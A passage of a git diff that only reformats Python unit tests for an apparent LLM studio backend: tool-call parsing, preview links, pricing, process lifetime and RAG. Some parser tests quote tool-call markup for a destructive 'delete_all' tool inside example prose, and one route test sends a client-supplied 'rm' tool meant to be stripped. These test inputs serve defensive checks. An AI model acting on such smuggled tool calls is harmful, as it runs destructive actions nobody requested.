in calls_m] == ["delete_all"], calls_m # A DISABLED Gemma example quoting the trigger is dropped as prose and a @@ -767,7 +792,9 @@ def test_leading_gemma_call_owns_quoted_mistral_trigger(): 'Example: call:demo{note:"see [TOOL_CALLS]delete_all{}"}\n' '[TOOL_CALLS]web_search{"q":"real"}' ) - calls_d = parse_tool_calls_from_text(mixed, enabled_tool_names = {"web_search", "delete_all"}) + calls_d = parse_tool_calls_from_text( + mixed, enabled_tool_names = {"web_search", "delete_all"} + ) assert [c["function"]["name"] for c in calls_d] == ["web_search"], calls_d @@ -785,14 +812,22 @@ def test_chained_bare_json_owns_kimi_marker_in_later_call(): assert [c["function"]["name"] for c in calls] == ["lookup", "lookup"], calls # Reverse control: prose followed by a real Kimi block still parses. - real = "Let me check.\n<|tool_calls_section_begin|>" + kimi + "<|tool_calls_section_end|>" - calls_k = parse_tool_calls_from_text(real, enabled_tool_names = {"lookup", "delete_all"}) + real = ( + "Let me check.\n<|tool_calls_section_begin|>" + + kimi + + "<|tool_calls_section_end|>" + ) + calls_k = parse_tool_calls_from_text( + real, enabled_tool_names = {"lookup", "delete_all"} + ) assert [c["function"]["name"] for c in calls_k] == ["delete_all"], calls_k # A closed leading Mistral call preceding a trailing Kimi example owns the # turn too (same closed-call-precedes-marker rule). mistral = '[TOOL_CALLS]lookup{"q":"first"} then example ' + kimi - calls_m = parse_tool_calls_from_text(mistral, enabled_tool_names = {"lookup", "delete_all"}) + calls_m = parse_tool_calls_from_text( + mistral, enabled_tool_names = {"lookup", "delete_all"} + ) assert [c["function"]["name"] for c in calls_m] == ["lookup"], calls_m @@ -809,12 +844,16 @@ def test_nested_gemma_values_keep_commas_and_parens(): arr = parse_tool_calls_from_text( "call:python{opts:[1,2,{a:f(1,2)}]}", enabled_tool_names = {"python"} ) - assert json.loads(arr[0]["function"]["arguments"]) == {"opts": [1, 2, {"a": "f(1,2)"}]} + assert json.loads(arr[0]["function"]["arguments"]) == { + "opts": [1, 2, {"a": "f(1,2)"}] + } prose_comma = parse_tool_calls_from_text( "call:python{opts:{note:hello, world}}", enabled_tool_names = {"python"} ) - assert json.loads(prose_comma[0]["function"]["arguments"]) == {"opts": {"note": "hello, world"}} + assert json.loads(prose_comma[0]["function"]["arguments"]) == { + "opts": {"note": "hello, world"} + } quoted = parse_tool_calls_from_text( 'call:python{opts:{q:say "a, b" now,n:3}}', enabled_tool_names = {"python"} @@ -828,11 +867,16 @@ def test_nested_gemma_values_keep_commas_and_parens(): nested_q = parse_tool_calls_from_text( 'call:python{loc:{city:"New York"}}', enabled_tool_names = {"python"} ) - assert json.loads(nested_q[0]["function"]["arguments"]) == {"loc": {"city": "New York"}} + assert json.loads(nested_q[0]["function"]["arguments"]) == { + "loc": {"city": "New York"} + } multi = parse_tool_calls_from_text( "call:python{opts:{a:1,b:2},n:3}", enabled_tool_names = {"python"} ) - assert json.loads(multi[0]["function"]["arguments"]) == {"opts": {"a": 1, "b": 2}, "n": 3} + assert json.loads(multi[0]["function"]["arguments"]) == { + "opts": {"a": 1, "b": 2}, + "n": 3, + } trunc = parse_tool_calls_from_text( "call:python{opts:{code:print(1,2}}", enabled_tool_names = {"python"} ) @@ -907,7 +951,8 @@ def test_disabled_leading_bare_json_does_not_hide_later_marker_call(): '```json\n{"q":"cats"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>' ) calls_ds = parse_tool_calls_from_text( - '{"name":"draft","parameters":{}} ' + deepseek, enabled_tool_names = {"web_search"} + '{"name":"draft","parameters":{}} ' + deepseek, + enabled_tool_names = {"web_search"}, ) assert [c["function"]["name"] for c in calls_ds] == ["web_search"], calls_ds @@ -938,7 +983,9 @@ def test_disabled_leading_bare_json_ownership_controls(): ) assert [c["function"]["name"] for c in nameless] == ["delete_all"], nameless # Name-agnostic path unchanged: the leading object is the call. - agnostic = parse_tool_calls_from_text('{"name":"draft","parameters":{}} ' + kimi_delete) + agnostic = parse_tool_calls_from_text( + '{"name":"draft","parameters":{}} ' + kimi_delete + ) assert [c["function"]["name"] for c in agnostic] == ["draft"], agnostic @@ -987,7 +1034,9 @@ def test_glm_heal_bounds_unclosed_value_at_tool_call_close(): 'print("")' ) calls_lit = parse_tool_calls_from_text(lit, allow_incomplete = True) - assert json.loads(calls_lit[0]["function"]["arguments"]) == {"city": 'print("")'} + assert json.loads(calls_lit[0]["function"]["arguments"]) == { + "city": 'print("")' + } def test_prose_mentioning_ds_kimi_markers_survives_final_strip(): @@ -1008,4 +1057,6 @@ def test_prose_mentioning_ds_kimi_markers_survives_final_strip(): '<|tool_call_argument_begin|>{"q' ) assert strip_tool_markup(truncated_kimi, final = True) == "" - assert strip_tool_markup("prefix <|tool_calls_section_begin|>", final = True) == "prefix" + assert ( + strip_tool_markup("prefix <|tool_calls_section_begin|>", final = True) == "prefix" + ) diff --git a/studio/backend/tests/test_presence_penalty.py b/studio/backend/tests/test_presence_penalty.py index 030ddb6011..331513b5ce 100644 --- a/studio/backend/tests/test_presence_penalty.py +++ b/studio/backend/tests/test_presence_penalty.py @@ -249,4 +249,6 @@ def test_worker_forwards_all_sampling_params_to_backend(): assert backend.received is not None for key, val in _SAMPLING.items(): - assert backend.received[key] == val, f"{key} dropped/altered in worker gen_kwargs" + assert ( + backend.received[key] == val + ), f"{key} dropped/altered in worker gen_kwargs" diff --git a/studio/backend/tests/test_preview_routes.py b/studio/backend/tests/test_preview_routes.py index 8fa3093d04..b3de1cedd6 100644 --- a/studio/backend/tests/test_preview_routes.py +++ b/studio/backend/tests/test_preview_routes.py @@ -45,7 +45,9 @@ _TEST_SECRET = b"unit-test-preview-secret-0123456789" def _use_test_secret(monkeypatch) -> None: - monkeypatch.setattr(preview_token, "get_or_create_preview_link_secret", lambda: _TEST_SECRET) + monkeypatch.setattr( + preview_token, "get_or_create_preview_link_secret", lambda: _TEST_SECRET + ) def _sig(ref: str) -> str: @@ -229,7 +231,9 @@ def test_chat_payload_sanitized(client, captured): f"/p/demorun/v1/chat/completions?k={_sig('demorun')}", json = { "messages": [{"role": "user", "content": "hi"}], - "tools": [{"type": "function", "function": {"name": "rm", "parameters": {}}}], + "tools": [ + {"type": "function", "function": {"name": "rm", "parameters": {}}} + ], "enable_tools": True, "enabled_tools": ["python"], "mcp_enabled": True, @@ -452,7 +456,10 @@ def test_generation_clamp_honors_lower_legacy_max_tokens(client, captured): def test_generation_clamp_honors_lower_completion_tokens(client, captured): r = client.post( f"/p/demorun/v1/chat/completions?k={_sig('demorun')}", - json = {"messages": [{"role": "user", "content": "hi"}], "max_completion_tokens": 32}, + json = { + "messages": [{"role": "user", "content": "hi"}], + "max_completion_tokens": 32, + }, ) assert r.status_code == 200 p = captured["payload"] diff --git a/studio/backend/tests/test_preview_sharing_settings.py b/studio/backend/tests/test_preview_sharing_settings.py index abadaf483c..12c403fc47 100644 --- a/studio/backend/tests/test_preview_sharing_settings.py +++ b/studio/backend/tests/test_preview_sharing_settings.py @@ -33,10 +33,14 @@ def client(monkeypatch): calls["enabled"] = bool(value) return bool(value) - monkeypatch.setattr(settings, "get_preview_sharing_enabled", lambda: calls["enabled"]) + monkeypatch.setattr( + settings, "get_preview_sharing_enabled", lambda: calls["enabled"] + ) monkeypatch.setattr(settings, "set_preview_sharing_enabled", _set) monkeypatch.setattr( - settings, "rotate_preview_link_secret", lambda: calls.__setitem__("rotated", True) + settings, + "rotate_preview_link_secret", + lambda: calls.__setitem__("rotated", True), ) app = FastAPI() diff --git a/studio/backend/tests/test_preview_token.py b/studio/backend/tests/test_preview_token.py index 6b0e802864..0352676a1d 100644 --- a/studio/backend/tests/test_preview_token.py +++ b/studio/backend/tests/test_preview_token.py @@ -72,4 +72,6 @@ def test_rotation_revokes_links(tmp_path, monkeypatch): storage.rotate_preview_link_secret() # Old shared link is revoked; a freshly minted one works. assert not preview_token.verify_preview_ref("demorun", token) - assert preview_token.verify_preview_ref("demorun", preview_token.sign_preview_ref("demorun")) + assert preview_token.verify_preview_ref( + "demorun", preview_token.sign_preview_ref("demorun") + ) diff --git a/studio/backend/tests/test_pricing.py b/studio/backend/tests/test_pricing.py index 8cd7796f14..198b9d453f 100644 --- a/studio/backend/tests/test_pricing.py +++ b/studio/backend/tests/test_pricing.py @@ -245,7 +245,9 @@ def test_openai_cache_read_subtracted_from_input_at_discount(): ) # 20k charged at full price, 80k charged at 0.1x assert _isclose(out["input_usd"], 20_000 / 1_000_000.0 * base) - assert _isclose(out["cache_read_usd"], 80_000 / 1_000_000.0 * base * OPENAI_CACHE_READ_MULT) + assert _isclose( + out["cache_read_usd"], 80_000 / 1_000_000.0 * base * OPENAI_CACHE_READ_MULT + ) def test_openai_billable_input_tokens_does_not_double_count_cache_read(): @@ -392,7 +394,9 @@ def test_openai_web_search_charged_per_thousand(): "openai_tool_use": {"web_search_requests": 250}, }, ) - assert _isclose(out["server_tools_usd"], 250 / 1_000.0 * OPENAI_WEB_SEARCH_USD_PER_1K) + assert _isclose( + out["server_tools_usd"], 250 / 1_000.0 * OPENAI_WEB_SEARCH_USD_PER_1K + ) assert _isclose(out["total_usd"], 250 / 1_000.0 * OPENAI_WEB_SEARCH_USD_PER_1K) @@ -426,7 +430,8 @@ def test_openai_tool_surcharges_added_to_total(): expected_input = 100_000 / 1_000_000.0 * 5.0 expected_output = 5_000 / 1_000_000.0 * 30.0 expected_tools = ( - 3 / 1_000.0 * OPENAI_WEB_SEARCH_USD_PER_1K + 0.25 * OPENAI_CONTAINER_USD_PER_HOUR + 3 / 1_000.0 * OPENAI_WEB_SEARCH_USD_PER_1K + + 0.25 * OPENAI_CONTAINER_USD_PER_HOUR ) assert _isclose( out["total_usd"], @@ -599,7 +604,10 @@ def test_openai_chat_style_envelope_reads_cache_from_prompt_tokens_details(): ) # Both envelopes must price identically. assert _isclose(chat_style["input_usd"], raw["input_usd"]), (chat_style, raw) - assert _isclose(chat_style["cache_read_usd"], raw["cache_read_usd"]), (chat_style, raw) + assert _isclose(chat_style["cache_read_usd"], raw["cache_read_usd"]), ( + chat_style, + raw, + ) # 80k at 0.1x base, 20k at full. assert _isclose( chat_style["cache_read_usd"], diff --git a/studio/backend/tests/test_pricing_edge.py b/studio/backend/tests/test_pricing_edge.py index 1fcc428f90..6c7f4038f1 100644 --- a/studio/backend/tests/test_pricing_edge.py +++ b/studio/backend/tests/test_pricing_edge.py @@ -191,7 +191,9 @@ def test_anthropic_chat_cache_read_exceeds_prompt_no_negative_billable(): assert out["billable_input_tokens"] == 500 # 0 uncached + 500 cache_read # cache_read still priced at the discount rate. base = ANTHROPIC_PRICING["claude-opus-4-7"]["input_per_mtok"] - assert _isclose(out["cache_read_usd"], 500 / 1_000_000.0 * base * ANTHROPIC_CACHE_READ_MULT) + assert _isclose( + out["cache_read_usd"], 500 / 1_000_000.0 * base * ANTHROPIC_CACHE_READ_MULT + ) def test_openai_raw_cached_tokens_exceeds_input_clamp_non_cached(): @@ -208,7 +210,9 @@ def test_openai_raw_cached_tokens_exceeds_input_clamp_non_cached(): ) assert out["input_usd"] == 0.0 # Cache read still priced (the 0.1x bucket). - assert _isclose(out["cache_read_usd"], 500 / 1_000_000.0 * base * OPENAI_CACHE_READ_MULT) + assert _isclose( + out["cache_read_usd"], 500 / 1_000_000.0 * base * OPENAI_CACHE_READ_MULT + ) # ── long-context tier crosses on billable, including cache_creation ── diff --git a/studio/backend/tests/test_process_lifetime.py b/studio/backend/tests/test_process_lifetime.py index c36cd75405..05d8fac0e6 100644 --- a/studio/backend/tests/test_process_lifetime.py +++ b/studio/backend/tests/test_process_lifetime.py @@ -124,7 +124,9 @@ def test_pdeathsig_child_dies_when_parent_sigkilled(tmp_path): "print(p.pid, flush = True)\n" "time.sleep(300)\n" ) - proc = subprocess.Popen([sys.executable, str(mid)], stdout = subprocess.PIPE, text = True) + proc = subprocess.Popen( + [sys.executable, str(mid)], stdout = subprocess.PIPE, text = True + ) try: sleeper_pid = int(proc.stdout.readline().strip()) assert _alive(sleeper_pid) @@ -150,7 +152,9 @@ def test_windows_job_kills_child_when_parent_dies(tmp_path): "print(p.pid, int(pl._win_job_handle is not None), flush = True)\n" "time.sleep(300)\n" ) - proc = subprocess.Popen([sys.executable, str(mid)], stdout = subprocess.PIPE, text = True) + proc = subprocess.Popen( + [sys.executable, str(mid)], stdout = subprocess.PIPE, text = True + ) try: first = proc.stdout.readline().split() child_pid, installed = int(first[0]), first[1] == "1" @@ -250,7 +254,9 @@ def test_bind_kills_multiprocessing_child_on_parent_death(tmp_path): " print(p.pid, flush = True)\n" " time.sleep(300)\n" ) - proc = subprocess.Popen([sys.executable, str(mid)], stdout = subprocess.PIPE, text = True) + proc = subprocess.Popen( + [sys.executable, str(mid)], stdout = subprocess.PIPE, text = True + ) try: child_pid = int(proc.stdout.readline().strip()) assert _alive(child_pid) diff --git a/studio/backend/tests/test_providers_api.py b/studio/backend/tests/test_providers_api.py index 7cac3a9e99..3fb8158dc5 100644 --- a/studio/backend/tests/test_providers_api.py +++ b/studio/backend/tests/test_providers_api.py @@ -211,7 +211,9 @@ class TestAuth: json = {"username": USERNAME, "password": PASSWORD}, timeout = 10, ) - assert resp.status_code == 200, f"Login failed ({resp.status_code}): {resp.text}" + assert ( + resp.status_code == 200 + ), f"Login failed ({resp.status_code}): {resp.text}" body = resp.json() assert body.get("access_token"), "access_token is missing or empty" assert body.get("token_type") == "bearer" @@ -221,7 +223,9 @@ class TestAuth: class TestPublicKey: - def test_public_key_is_valid_pem(self, auth_headers: dict[str, str], public_key_pem: str): + def test_public_key_is_valid_pem( + self, auth_headers: dict[str, str], public_key_pem: str + ): """GET /api/providers/public-key returns an importable RSA PEM key.""" pem_bytes = public_key_pem.encode("utf-8") key = serialization.load_pem_public_key(pem_bytes) @@ -243,7 +247,9 @@ class TestRegistry: ) assert resp.status_code == 200, f"Registry failed: {resp.text}" providers = resp.json() - assert len(providers) == 9, f"Expected 9 providers, got {len(providers)}: {providers}" + assert ( + len(providers) == 9 + ), f"Expected 9 providers, got {len(providers)}: {providers}" print(f"\n {'Provider':<12} {'Base URL'}") print(f" {'-'*12} {'-'*45}") for p in providers: @@ -263,7 +269,9 @@ class TestRegistry: def test_registry_entries_have_required_fields(self, auth_headers: dict[str, str]): """Each registry entry has provider_type, display_name, base_url, default_models.""" - resp = requests.get(_url("/api/providers/registry"), headers = auth_headers, timeout = 10) + resp = requests.get( + _url("/api/providers/registry"), headers = auth_headers, timeout = 10 + ) assert resp.status_code == 200 for entry in resp.json(): for field in ( @@ -298,7 +306,9 @@ class TestProviderCRUD: json = {"provider_type": "openai", "display_name": "Test OpenAI (pytest)"}, timeout = 10, ) - assert resp.status_code == 201, f"Create failed ({resp.status_code}): {resp.text}" + assert ( + resp.status_code == 201 + ), f"Create failed ({resp.status_code}): {resp.text}" body = resp.json() assert body.get("id"), "No id in response" assert body["provider_type"] == "openai" @@ -309,7 +319,9 @@ class TestProviderCRUD: def test_list_includes_created(self, auth_headers: dict[str, str]): """GET /api/providers/ includes the newly created config.""" - assert TestProviderCRUD._created_id, "No created_id (run test_create_provider first)" + assert ( + TestProviderCRUD._created_id + ), "No created_id (run test_create_provider first)" resp = requests.get(_url("/api/providers/"), headers = auth_headers, timeout = 10) assert resp.status_code == 200 ids = [p["id"] for p in resp.json()] @@ -328,7 +340,9 @@ class TestProviderCRUD: json = {"display_name": new_name}, timeout = 10, ) - assert resp.status_code == 200, f"Update failed ({resp.status_code}): {resp.text}" + assert ( + resp.status_code == 200 + ), f"Update failed ({resp.status_code}): {resp.text}" assert resp.json()["display_name"] == new_name print(f"\n updated display_name to '{new_name}'") @@ -340,10 +354,14 @@ class TestProviderCRUD: headers = auth_headers, timeout = 10, ) - assert resp.status_code == 204, f"Delete failed ({resp.status_code}): {resp.text}" + assert ( + resp.status_code == 204 + ), f"Delete failed ({resp.status_code}): {resp.text}" # Confirm gone - list_resp = requests.get(_url("/api/providers/"), headers = auth_headers, timeout = 10) + list_resp = requests.get( + _url("/api/providers/"), headers = auth_headers, timeout = 10 + ) ids = [p["id"] for p in list_resp.json()] assert TestProviderCRUD._created_id not in ids, "Deleted provider still in list" print(f"\n deleted id={TestProviderCRUD._created_id} confirmed gone") @@ -391,7 +409,9 @@ class TestProviderInference: json = {"provider_type": provider_type, "encrypted_api_key": encrypted}, timeout = 30, ) - assert resp.status_code == 200, f"Request failed ({resp.status_code}): {resp.text}" + assert ( + resp.status_code == 200 + ), f"Request failed ({resp.status_code}): {resp.text}" body = resp.json() assert ( body["success"] is True @@ -415,7 +435,9 @@ class TestProviderInference: json = {"provider_type": provider_type, "encrypted_api_key": encrypted}, timeout = 30, ) - assert resp.status_code == 200, f"Request failed ({resp.status_code}): {resp.text}" + assert ( + resp.status_code == 200 + ), f"Request failed ({resp.status_code}): {resp.text}" models = resp.json() assert isinstance(models, list), f"Expected list, got {type(models)}" assert len(models) > 0, f"No models returned for {provider_type}" @@ -462,7 +484,9 @@ class TestProviderInference: # ── TestVisionInference ───────────────────────────────────────────── # Sloth photo for testing vision routing across providers -_VISION_IMAGE_URL = "https://www.travelexcellence.com/images/where-to-see-sloths-in-costa-rica.jpg" +_VISION_IMAGE_URL = ( + "https://www.travelexcellence.com/images/where-to-see-sloths-in-costa-rica.jpg" +) _VISION_PARAMS = [ pytest.param( @@ -562,6 +586,8 @@ class TestLocalInferenceUnaffected: f"This likely means the provider fields broke the base request schema." ) status_label = ( - "local model responded" if resp.status_code == 200 else "no model loaded (expected)" + "local model responded" + if resp.status_code == 200 + else "no model loaded (expected)" ) print(f"\n status={resp.status_code} ({status_label}) — local path unaffected") diff --git a/studio/backend/tests/test_rag_captioning.py b/studio/backend/tests/test_rag_captioning.py index 5ae0926990..eadaf5f696 100644 --- a/studio/backend/tests/test_rag_captioning.py +++ b/studio/backend/tests/test_rag_captioning.py @@ -23,16 +23,27 @@ def test_caption_images_runs_when_images_present(monkeypatch): def test_caption_images_groups_by_page(monkeypatch): monkeypatch.setattr(captioner.config, "CAPTION_MAX_IMAGES", 8) - monkeypatch.setattr(captioner, "_caption_one", lambda base, model, b, t: "a chart of results") - out = captioner.caption_images([_img(1), _img(1), _img(3)], endpoint = ("http://x", "local")) - assert out == {1: ["a chart of results", "a chart of results"], 3: ["a chart of results"]} + monkeypatch.setattr( + captioner, "_caption_one", lambda base, model, b, t: "a chart of results" + ) + out = captioner.caption_images( + [_img(1), _img(1), _img(3)], endpoint = ("http://x", "local") + ) + assert out == { + 1: ["a chart of results", "a chart of results"], + 3: ["a chart of results"], + } def test_caption_images_respects_cap(monkeypatch): monkeypatch.setattr(captioner.config, "CAPTION_MAX_IMAGES", 2) calls = [] - monkeypatch.setattr(captioner, "_caption_one", lambda *a: (calls.append(1) or "cap")) - captioner.caption_images([_img(i) for i in range(5)], endpoint = ("http://x", "local")) + monkeypatch.setattr( + captioner, "_caption_one", lambda *a: (calls.append(1) or "cap") + ) + captioner.caption_images( + [_img(i) for i in range(5)], endpoint = ("http://x", "local") + ) assert len(calls) == 2 @@ -52,7 +63,9 @@ def test_caption_prompt_and_token_budget(monkeypatch): # Caption and OCR keep separate prompts + token caps over the shared _vision_complete. captured: dict = {} - def fake_vision_complete(base_url, model, image_bytes, *, prompt, timeout, max_tokens): + def fake_vision_complete( + base_url, model, image_bytes, *, prompt, timeout, max_tokens + ): captured.update(prompt = prompt, timeout = timeout, max_tokens = max_tokens) return "ok" @@ -82,9 +95,13 @@ def test_pages_with_figures_and_tiles(tmp_path): _figure_pdf(pdf) pgs = parsers.pages_with_figures(str(pdf), max_pages = 4) assert pgs == [1] - tiles = parsers.render_pdf_figure_tiles(str(pdf), pgs, rows = 2, cols = 2, fullpage = True) + tiles = parsers.render_pdf_figure_tiles( + str(pdf), pgs, rows = 2, cols = 2, fullpage = True + ) assert len(tiles) == 5 # full page + 2x2 grid - assert all(t.image_bytes[:8] == b"\x89PNG\r\n\x1a\n" and t.page_number == 1 for t in tiles) + assert all( + t.image_bytes[:8] == b"\x89PNG\r\n\x1a\n" and t.page_number == 1 for t in tiles + ) capped = parsers.render_pdf_figure_tiles( str(pdf), pgs, rows = 2, cols = 2, fullpage = True, max_tiles = 3 ) @@ -147,7 +164,9 @@ def test_run_skips_figure_work_without_vision_model( parsers, "pages_with_figures", lambda *a, **k: touched.append("detect") or [] ) monkeypatch.setattr( - parsers, "render_pdf_figure_tiles", lambda *a, **k: touched.append("render") or [] + parsers, + "render_pdf_figure_tiles", + lambda *a, **k: touched.append("render") or [], ) pdf = tmp_path / "fig.pdf" @@ -205,7 +224,9 @@ def test_vision_complete_omits_header_when_unauthenticated(monkeypatch): return _Resp() monkeypatch.setattr(httpx, "post", fake_post) - captioner._vision_complete("http://x", "local", b"i", prompt = "p", timeout = 5.0, max_tokens = 8) + captioner._vision_complete( + "http://x", "local", b"i", prompt = "p", timeout = 5.0, max_tokens = 8 + ) assert captured["headers"] is None assert captured["trust_env"] is False @@ -213,7 +234,9 @@ def test_vision_complete_omits_header_when_unauthenticated(monkeypatch): def test_merge_page_captions_dedups(): out = captioner.merge_page_captions({1: ["MatMul\nScale", "Scale\nSoftMax"]}) text = out[1][0] - assert text.lower().count("scale") == 1 # repeated label from overlapping tiles dropped + assert ( + text.lower().count("scale") == 1 + ) # repeated label from overlapping tiles dropped assert "MatMul" in text and "SoftMax" in text @@ -310,7 +333,9 @@ def test_caption_override_true_runs_when_config_off( monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", False) monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local")) - monkeypatch.setattr(captioner, "_caption_one", lambda *a: "bar chart of revenue wombat-7") + monkeypatch.setattr( + captioner, "_caption_one", lambda *a: "bar chart of revenue wombat-7" + ) pdf = tmp_path / "fig.pdf" _figure_pdf(pdf) @@ -327,7 +352,9 @@ def test_caption_override_false_skips_when_config_on( monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True) monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local")) called = [] - monkeypatch.setattr(captioner, "_caption_one", lambda *a: called.append(1) or "should not run") + monkeypatch.setattr( + captioner, "_caption_one", lambda *a: called.append(1) or "should not run" + ) pdf = tmp_path / "fig.pdf" _figure_pdf(pdf) @@ -340,7 +367,9 @@ def test_caption_none_follows_config(rag_conn, stub_embeddings, monkeypatch, tmp # Omitted override (None) falls back to config.CAPTION_IMAGES. monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local")) seen = [] - monkeypatch.setattr(captioner, "_caption_one", lambda *a: seen.append(1) or "chart caption") + monkeypatch.setattr( + captioner, "_caption_one", lambda *a: seen.append(1) or "chart caption" + ) monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", False) pdf_off = tmp_path / "off.pdf" diff --git a/studio/backend/tests/test_rag_chunking.py b/studio/backend/tests/test_rag_chunking.py index 3d3c9eedd8..e562a9a59f 100644 --- a/studio/backend/tests/test_rag_chunking.py +++ b/studio/backend/tests/test_rag_chunking.py @@ -27,12 +27,16 @@ def test_chunk_never_exceeds_max_with_overlap_carry(): """Overlap carry is trimmed so no chunk exceeds max_tokens (else the embedder overflows).""" s1 = " ".join("a" for _ in range(10)) s2 = " ".join("b" for _ in range(95)) # near max - chunks = chunk_pages([_page(f"{s1}. {s2}")], max_tokens = 100, overlap = 24, count = WORDS) + chunks = chunk_pages( + [_page(f"{s1}. {s2}")], max_tokens = 100, overlap = 24, count = WORDS + ) assert all(c.token_count <= 100 for c in chunks), [c.token_count for c in chunks] def test_chunk_indices_are_sequential(): - chunks = chunk_pages([_page("alpha. " * 200)], max_tokens = 32, overlap = 0, count = WORDS) + chunks = chunk_pages( + [_page("alpha. " * 200)], max_tokens = 32, overlap = 0, count = WORDS + ) assert [c.chunk_index for c in chunks] == list(range(len(chunks))) diff --git a/studio/backend/tests/test_rag_embed_llama_server.py b/studio/backend/tests/test_rag_embed_llama_server.py index 3a332ee19b..ffc1d5fa83 100644 --- a/studio/backend/tests/test_rag_embed_llama_server.py +++ b/studio/backend/tests/test_rag_embed_llama_server.py @@ -52,8 +52,12 @@ def _mock_auto(monkeypatch, *, gpus, binary): from core.inference.llama_cpp import LlamaCppBackend monkeypatch.setattr(config, "EMBED_BACKEND", "auto") - monkeypatch.setattr(LlamaCppBackend, "_get_gpu_free_memory", staticmethod(lambda: gpus)) - monkeypatch.setattr(LlamaCppBackend, "_find_llama_server_binary", staticmethod(lambda: binary)) + monkeypatch.setattr( + LlamaCppBackend, "_get_gpu_free_memory", staticmethod(lambda: gpus) + ) + monkeypatch.setattr( + LlamaCppBackend, "_find_llama_server_binary", staticmethod(lambda: binary) + ) def _stub_st_load(monkeypatch): @@ -117,7 +121,9 @@ def test_llama_backend_imports_no_torch(): "RAG_EMBED_BACKEND": "llama-server", "PYTHONPATH": str(backend_dir), } - proc = subprocess.run([sys.executable, "-c", code], capture_output = True, text = True, env = env) + proc = subprocess.run( + [sys.executable, "-c", code], capture_output = True, text = True, env = env + ) assert proc.returncode == 0, proc.stderr assert "OK" in proc.stdout @@ -163,16 +169,22 @@ def test_use_gpu_explicit_modes(monkeypatch): def test_use_gpu_auto_follows_probe(monkeypatch): b = LlamaServerBackend() monkeypatch.setattr(config, "EMBED_DEVICE", "auto") - monkeypatch.setattr(LlamaServerBackend, "_gpu_available", staticmethod(lambda: True)) + monkeypatch.setattr( + LlamaServerBackend, "_gpu_available", staticmethod(lambda: True) + ) assert b._use_gpu() is True - monkeypatch.setattr(LlamaServerBackend, "_gpu_available", staticmethod(lambda: False)) + monkeypatch.setattr( + LlamaServerBackend, "_gpu_available", staticmethod(lambda: False) + ) assert b._use_gpu() is False def test_use_gpu_sticky_cpu_fallback(monkeypatch): b = LlamaServerBackend() monkeypatch.setattr(config, "EMBED_DEVICE", "auto") - monkeypatch.setattr(LlamaServerBackend, "_gpu_available", staticmethod(lambda: True)) + monkeypatch.setattr( + LlamaServerBackend, "_gpu_available", staticmethod(lambda: True) + ) b._force_cpu = True # a prior GPU start failed assert b._use_gpu() is False @@ -183,11 +195,17 @@ def test_gpu_available_reuses_studio_probe(monkeypatch): monkeypatch.setattr(uh, "is_apple_silicon", lambda: False) # Ample free VRAM -> GPU; nearly full -> CPU; none -> CPU. - monkeypatch.setattr(LlamaCppBackend, "_get_gpu_free_memory", staticmethod(lambda: [(0, 40000)])) + monkeypatch.setattr( + LlamaCppBackend, "_get_gpu_free_memory", staticmethod(lambda: [(0, 40000)]) + ) assert LlamaServerBackend._gpu_available() is True - monkeypatch.setattr(LlamaCppBackend, "_get_gpu_free_memory", staticmethod(lambda: [(0, 100)])) + monkeypatch.setattr( + LlamaCppBackend, "_get_gpu_free_memory", staticmethod(lambda: [(0, 100)]) + ) assert LlamaServerBackend._gpu_available() is False - monkeypatch.setattr(LlamaCppBackend, "_get_gpu_free_memory", staticmethod(lambda: [])) + monkeypatch.setattr( + LlamaCppBackend, "_get_gpu_free_memory", staticmethod(lambda: []) + ) assert LlamaServerBackend._gpu_available() is False @@ -205,9 +223,15 @@ def _patch_spawn_deps( ): # Force CPU so spawn never depends on a host GPU. monkeypatch.setattr(config, "EMBED_DEVICE", "cpu") - monkeypatch.setattr(LlamaServerBackend, "_resolve_binary", lambda self: "/bin/llama-server") - monkeypatch.setattr(LlamaServerBackend, "_resolve_model_path", lambda self: "/m/bge.gguf") - monkeypatch.setattr(LlamaServerBackend, "_find_free_port", staticmethod(lambda: free_port)) + monkeypatch.setattr( + LlamaServerBackend, "_resolve_binary", lambda self: "/bin/llama-server" + ) + monkeypatch.setattr( + LlamaServerBackend, "_resolve_model_path", lambda self: "/m/bge.gguf" + ) + monkeypatch.setattr( + LlamaServerBackend, "_find_free_port", staticmethod(lambda: free_port) + ) monkeypatch.setattr(mod.subprocess, "Popen", lambda *a, **k: proc) @@ -239,7 +263,9 @@ def test_spawn_fails_loud_on_early_exit(monkeypatch): def test_spawn_auto_falls_back_to_cpu_on_gpu_failure(monkeypatch): monkeypatch.setattr(config, "EMBED_DEVICE", "auto") - monkeypatch.setattr(LlamaServerBackend, "_gpu_available", staticmethod(lambda: True)) + monkeypatch.setattr( + LlamaServerBackend, "_gpu_available", staticmethod(lambda: True) + ) b = LlamaServerBackend() calls = [] @@ -311,7 +337,9 @@ def test_encode_empty_returns_zero_rows(monkeypatch): def test_encode_rejects_count_mismatch(monkeypatch): b = LlamaServerBackend() monkeypatch.setattr(b, "_ensure_ready", lambda: None) - monkeypatch.setattr(b, "_post", lambda p, pl: {"data": [{"index": 0, "embedding": [1.0]}]}) + monkeypatch.setattr( + b, "_post", lambda p, pl: {"data": [{"index": 0, "embedding": [1.0]}]} + ) with pytest.raises(RuntimeError, match = "vectors for"): b.encode(["a", "b"], normalize = False) @@ -392,7 +420,9 @@ def test_post_restarts_once_on_connect_error(monkeypatch): b._port = 9000 monkeypatch.setattr(b, "_ensure_ready", lambda: None) restarts = {"n": 0} - monkeypatch.setattr(b, "_restart", lambda: restarts.__setitem__("n", restarts["n"] + 1)) + monkeypatch.setattr( + b, "_restart", lambda: restarts.__setitem__("n", restarts["n"] + 1) + ) attempts = {"n": 0} @@ -425,7 +455,9 @@ def test_post_restarts_once_on_read_timeout(monkeypatch): b._port = 9000 monkeypatch.setattr(b, "_ensure_ready", lambda: None) restarts = {"n": 0} - monkeypatch.setattr(b, "_restart", lambda: restarts.__setitem__("n", restarts["n"] + 1)) + monkeypatch.setattr( + b, "_restart", lambda: restarts.__setitem__("n", restarts["n"] + 1) + ) attempts = {"n": 0} diff --git a/studio/backend/tests/test_rag_embeddings.py b/studio/backend/tests/test_rag_embeddings.py index 28a2f69426..0d22b6cd54 100644 --- a/studio/backend/tests/test_rag_embeddings.py +++ b/studio/backend/tests/test_rag_embeddings.py @@ -147,7 +147,9 @@ def 